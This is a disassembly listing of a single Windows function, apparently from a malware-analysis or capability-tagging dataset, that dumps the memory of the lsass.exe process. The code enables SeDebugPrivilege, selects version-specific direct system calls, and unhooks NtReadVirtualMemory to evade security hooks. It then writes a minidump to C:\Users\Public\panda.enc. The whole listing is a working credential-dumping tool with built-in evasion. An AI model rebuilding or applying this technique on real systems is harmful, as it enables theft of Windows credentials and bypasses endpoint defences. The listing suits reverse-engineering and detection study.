Function at 0x140001340
Capabilities:
Acquire debug privileges
Create process memory minidump

Disassembly:
push rbp
push rbx
push r15
lea rbp, [rsp - 0x580]
sub rsp, 0x680
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rbp + 0x570], rax
xor r15d, r15d
mov ebx, r15d
mov qword [rsp + 0x60], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x60]
lea edx, [r15 + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400013bd
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x14]
lea r9d, [r15 + 4]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x18]
mov dword [rbp - 0x18], r15d
lea edx, [r15 + 0x14]
mov dword [rbp - 0x14], 4
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp - 0x18]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400013cd
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x6a0], rsi
mov qword [rsp + 0x6b0], r14
test ebx, ebx
je 0x140001a7e
mov qword [rsp + 0x60], r15
mov qword [rbp - 0xc], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x60]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000145c
lea r8, [rbp - 0xc]
mov dword [rbp - 0x10], 1
lea rdx, str.SeDebugPrivilege
mov dword [rbp - 4], 2
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x60]
test eax, eax
je 0x140001456
mov qword [rsp + 0x28], r15
lea r8, [rbp - 0x10]
mov r9d, 0x10
mov qword [rsp + 0x20], r15
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x40
lea ecx, [rdx - 0x3f]
call fcn.140005d34
lea rcx, str.ntdll.dll
mov dword [rbp + 0x30], 0x11c
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlGetVersion
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001a7a
lea rcx, [rbp + 0x30]
call rax
mov ecx, dword [rbp + 0x38]
lea r8, str._u._u
mov r9d, dword [rbp + 0x34]
mov edx, 8
mov dword [rsp + 0x20], ecx
mov rcx, rbx
call fcn.140001070
mov eax, dword [rbp + 0x3c]
lea rdx, str.10.0
mov rcx, rbx
mov dword [rbx + 0x10], eax
call fcn.14000b138
test eax, eax
jne 0x14000151b
mov r8d, dword [rbx + 0x10]
lea rdx, str.10_or_Server_2016
lea rcx, str._t___Operating_System_is_Windows__ls__build_number__d_n
call fcn.140001010
lea rcx, str._t___Mapping_version_specific_System_calls._n
call fcn.140001010
lea rax, [0x140001c03]
mov dword [rbx + 0x38], 0x3f
lea rcx, [0x140001c45]
lea rdx, [0x140001bf8]
jmp 0x140001625
lea rdx, [0x140021790]
mov rcx, rbx
call fcn.14000b138
test eax, eax
jne 0x14000157b
cmp dword [rbp + 0x3c], 0x1db1
jne 0x14000157b
mov r8d, dword [rbx + 0x10]
lea rdx, str.7_SP1_or_Server_2008_R2
lea rcx, str._t___Operating_System_is_Windows__ls__build_number__d_n
call fcn.140001010
lea rcx, str._t___Mapping_version_specific_System_calls._n
call fcn.140001010
lea rax, [0x140001afb]
mov dword [rbx + 0x38], 0x3c
lea rcx, [0x140001b3d]
lea rdx, [0x140001af0]
jmp 0x140001625
lea rdx, [0x140021798]
mov rcx, rbx
call fcn.14000b138
test eax, eax
jne 0x1400015cf
mov r8d, dword [rbx + 0x10]
lea rdx, str.8_or_Server_2012
lea rcx, str._t___Operating_System_is_Windows__ls__build_number__d_n
call fcn.140001010
lea rcx, str._t___Mapping_version_specific_System_calls._n
call fcn.140001010
lea rax, [0x140001b53]
mov dword [rbx + 0x38], 0x3d
lea rcx, [0x140001b95]
lea rdx, [0x140001b48]
jmp 0x140001625
lea rdx, [0x1400217a0]
mov rcx, rbx
call fcn.14000b138
test eax, eax
jne 0x140001acc
mov r8d, dword [rbx + 0x10]
lea rdx, str.8.1_or_Server_2012_R2
lea rcx, str._t___Operating_System_is_Windows__ls__build_number__d_n
call fcn.140001010
lea rcx, str._t___Mapping_version_specific_System_calls._n
call fcn.140001010
lea rax, [0x140001bab]
mov dword [rbx + 0x38], 0x3e
lea rcx, [0x140001bed]
lea rdx, [0x140001ba0]
mov qword [0x140026dc0], rcx
lea rcx, str.ntdll.dll
mov qword [0x140026dd0], rdx
mov qword [0x140026dc8], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlInitUnicodeString
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x140001a7a
lea rdx, str.lsass.exe
lea rcx, [rbx + 0x18]
call rsi
mov rcx, rbx
call fcn.140001130
test eax, eax
je 0x140001a7e
movups xmm0, xmmword [rbx + 0x18]
mov r8, qword [rbx + 0x28]
lea rdx, [rbp - 0x10]
lea rcx, str._t___Process_ID_of__wZ_is:__lld_n
mov qword [rsp + 0x6a8], rdi
movaps xmmword [rbp - 0x10], xmm0
call fcn.140001010
lea rax, str.NtReadVirtualMemory
mov dword [rsp + 0x60], 0xb8d18b4c
lea rdx, str.10.0
mov qword [rbx + 0x30], rax
mov rcx, rbx
call fcn.14000b138
test eax, eax
jne 0x1400016e5
movzx eax, byte [rbx + 0x38]
lea rcx, [0x140001c0e]
mov byte [rsp + 0x64], al
lea rax, [0x140001c19]
jmp 0x140001771
lea rdx, [0x140021790]
mov rcx, rbx
call fcn.14000b138
test eax, eax
jne 0x140001719
cmp dword [rbx + 0x10], 0x1db1
jne 0x140001719
movzx eax, byte [rbx + 0x38]
lea rcx, [0x140001b06]
mov byte [rsp + 0x64], al
lea rax, [0x140001b11]
jmp 0x140001771
lea rdx, [0x140021798]
mov rcx, rbx
call fcn.14000b138
test eax, eax
jne 0x140001744
movzx eax, byte [rbx + 0x38]
lea rcx, [0x140001b5e]
mov byte [rsp + 0x64], al
lea rax, [0x140001b69]
jmp 0x140001771
lea rdx, [0x1400217a0]
mov rcx, rbx
call fcn.14000b138
test eax, eax
jne 0x140001ab1
movzx eax, byte [rbx + 0x38]
lea rcx, [0x140001bb6]
mov byte [rsp + 0x64], al
lea rax, [0x140001bc1]
mov qword [0x140026da8], rcx
lea rcx, str.ntdll.dll
mov qword [0x140026db8], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdx, qword [rbx + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rbp - 0x10], rax
mov qword [rbp], 0xa
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x40
lea r8, [rbp]
mov rcx, rax
lea rdx, [rbp - 0x10]
lea rax, [rbp - 0x14]
mov qword [rsp + 0x20], rax
call qword [0x140026db8]
test eax, eax
jne 0x140001ab1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 5
mov qword [rsp + 0x20], r15
mov rcx, rax
lea r8, [rsp + 0x60]
mov rdx, rdi
call qword [0x140026da8]
test eax, eax
jne 0x140001ab1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, dword [rbp - 0x14]
lea r8, [rbp]
mov rcx, rax
lea rdx, [rbp - 0x10]
lea rax, [rbp - 0x18]
mov qword [rsp + 0x20], rax
call qword [0x140026db8]
test eax, eax
jne 0x140001ab1
lea rcx, str._3__Create_memorydump_file:_n
call fcn.140001010
lea rcx, str._t___Open_a_process_handle._n
call fcn.140001010
xorps xmm0, xmm0
mov qword [rsp + 0x68], r15
movdqu xmmword [rbp - 0x58], xmm0
mov dword [rbp - 0x78], 0x30
lea r9, [rsp + 0x78]
mov qword [rbp - 0x70], r15
lea r8, [rbp - 0x78]
mov dword [rbp - 0x60], r15d
lea rcx, [rsp + 0x68]
mov qword [rbp - 0x68], r15
mov edx, 0x1fffff
mov rax, qword [rbx + 0x28]
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], r15
call qword [0x140026dd0]
cmp qword [rsp + 0x68], r15
je 0x140001a89
movsd xmm0, qword [str.___]
lea rcx, [rbp + 0x15a]
movzx eax, word [0x140021b70]
xor edx, edx
mov r8d, 0x1fe
movsd qword [rbp + 0x150], xmm0
mov word [rbp + 0x158], ax
call fcn.140002c30
movups xmm0, xmmword [str.C:UsersPublic]
xor edx, edx
mov r8d, 0x1e8
movups xmm1, xmmword [0x140021b88]
lea rcx, [rbp + 0x380]
movaps xmmword [rbp + 0x360], xmm0
movaps xmmword [rbp + 0x370], xmm1
call fcn.140002c30
lea r8, [rbp + 0x360]
mov edx, 0x104
lea rcx, [rbp + 0x150]
call fcn.14000b2b4
lea r8, str.panda.enc
mov edx, 0x104
lea rcx, [rbp + 0x150]
call fcn.14000b2b4
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x10]
call rsi
movups xmm1, xmmword [rbx + 0x18]
lea r8, [rbp - 0x10]
movaps xmm0, xmmword [rbp + 0x10]
lea rdx, [rbp]
lea rcx, str._t___Dump__wZ_memory_to:__wZ_n
movaps xmmword [rbp], xmm1
movdqa xmmword [rbp - 0x10], xmm0
call fcn.140001010
mov dword [rsp + 0x50], r15d
lea rax, [rbp + 0x10]
mov qword [rsp + 0x48], r15
lea r9, [rbp + 0x20]
mov dword [rsp + 0x40], 0x20
lea r8, [rbp - 0x48]
mov dword [rsp + 0x38], 5
lea rcx, [rsp + 0x70]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0x80
mov edx, 0x120116
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x70], r15
movups xmmword [rbp + 0x20], xmm0
mov dword [rbp - 0x48], 0x30
mov qword [rbp - 0x40], r15
mov dword [rbp - 0x30], 0x40
mov qword [rbp - 0x38], rax
movdqu xmmword [rbp - 0x28], xmm0
call qword [0x140026dc0]
cmp qword [rsp + 0x70], 0xffffffffffffffff
mov rcx, qword [rsp + 0x68]
je 0x140001aa0
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov r8, qword [rsp + 0x70]
mov r9d, 2
mov rcx, qword [rsp + 0x68]
mov edx, eax
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call qword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
test eax, eax
jne 0x140001a23
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____Failed_to_create_minidump__error_code:__x_n
call fcn.140001010
jmp 0x140001a2f
lea rcx, str._t___Dump_succesful._n
call fcn.140001010
mov rcx, qword [rsp + 0x70]
call qword [0x140026dc8]
mov rcx, qword [rsp + 0x68]
call qword [0x140026dc8]
mov rdi, qword [rsp + 0x6a8]
xor eax, eax
mov r14, qword [rsp + 0x6b0]
mov rsi, qword [rsp + 0x6a0]
mov rcx, qword [rbp + 0x570]
xor rcx, rsp
call fcn.140001c60
add rsp, 0x680
pop r15
pop rbx
pop rbp
ret
xor eax, eax
jmp 0x140001a4f
mov ecx, 1
call fcn.140005d28
int3
lea rcx, str._t____Failed_to_get_processhandle._n
call fcn.140001010
mov ecx, 1
call fcn.140005d28
int3
call qword [0x140026dc8]
mov ecx, 1
call fcn.140005d28
int3
mov rdx, qword [rbx + 0x30]
lea rcx, str._t____Unhooking__s_failed._n
call fcn.1400010d0
mov ecx, 1
call fcn.140005d28
int3
lea rcx, str._t____OS_Version_not_supported._n_n
call fcn.140001010
mov ecx, 1
call fcn.140005d28
int3